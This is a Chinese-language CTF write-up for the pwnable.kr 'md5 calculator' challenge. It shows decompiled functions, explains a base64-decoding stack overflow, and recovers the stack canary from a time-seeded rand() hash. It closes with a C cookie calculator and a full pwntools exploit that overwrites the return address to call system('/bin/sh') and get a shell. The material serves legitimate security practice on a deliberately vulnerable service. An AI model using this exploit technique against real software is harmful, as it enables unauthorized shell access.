pwnable.kr md5 calculator writeu

2017-09-05  本文已影响689人  lilyui

ida打开文件,发现关键函数是process_hash,代码如下

int process_hash()
{
  int v0; // ST14_4@3
  void *ptr; // ST18_4@3
  char v3; // [sp+1Ch] [bp-20Ch]@1
  int v4; // [sp+21Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  memset(&v3, 0, 0x200u);
  while ( getchar() != 10 );
  memset(g_buf, 0, sizeof(g_buf));
  fgets(g_buf, 1024, stdin);
  memset(&v3, 0, 0x200u);
  v0 = Base64Decode(g_buf, &v3);
  ptr = (void *)calc_md5(&v3, v0);
  printf("MD5(data) : %s\n", ptr);
  free(ptr);
  return *MK_FP(__GS__, 20) ^ v4;
}

这里的问题在与给g_buf分配了1024bytes的空间,但是只给u分配了512bytes的空间,而1024字节的base64解码之后的长度为768,所以这里有一个栈溢出。但是代码中有栈cookie,所以光靠这里是不能利用的。

继续看代码,发现另一个函数

int my_hash()
{
  int result; // eax@4
  int v1; // edx@4
  signed int i; // [sp+0h] [bp-38h]@1
  char v3[32]; // [sp+Ch] [bp-2Ch]@2
  int v4; // [sp+2Ch] [bp-Ch]@1

  v4 = *MK_FP(__GS__, 20);
  for ( i = 0; i <= 7; ++i )
    *(_DWORD *)&v3[4 * i] = rand();
  result = *(_DWORD *)&v3[16]
         - *(_DWORD *)&v3[24]
         + *(_DWORD *)&v3[28]
         + v4
         + *(_DWORD *)&v3[8]
         - *(_DWORD *)&v3[12]
         + *(_DWORD *)&v3[4]
         + *(_DWORD *)&v3[20];
  v1 = *MK_FP(__GS__, 20) ^ v4;
  return result;
}

在这个函数中,栈cookie被用来生成了一个hash值,而这个hash值会在交互中给出,结合题目中提到的提示,bin服务和pwnable.kr运行在同一台机器上,也就是说时间相同,这样就可以反算出栈cookie,从而get shell了。

大概思路清晰之后,开始完成exp,首先是用c算出栈cookie

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) 
{
    int m = atoi(argv[2]);
    int rands[8];
    srand(atoi(argv[1]));
    for (int i = 0; i <= 7; i++) rands[i] = rand();
    m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
    printf("%x\n", m);
    return 0;
}

完成cookie的计算,分析到这里就可以写exp了,主要思路是溢出掉v3,用验证码和时间计算出栈cookie,最后调用system("/bin/sh")

import os
import time
from pwn import *

p = remote("pwnable.kr", 9002)
t = int(time.time())
print p.recvuntil("captcha")
captcha = p.recvline()
captchapos = captcha.find(' : ')+len(' : ')
captcha = captcha[captchapos:].strip()
p.sendline(captcha)
print p.recvline()
print p.recvline()
cmd = "./hash %s %s" % (t, captcha)
cookie = "0x" + os.popen(cmd).read().strip()

payload = 'A' * 512 # 512 byte v3
payload += p32(int(cookie, 16))
payload += 'A' * 12
payload += p32(0x08049187)  # system
payload += p32(0x0804B0E0 + 537*4/3)  # .bss => address of /bin/sh
payload = b64e(payload)
payload += "/bin/sh\0"
p.sendline(payload)
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读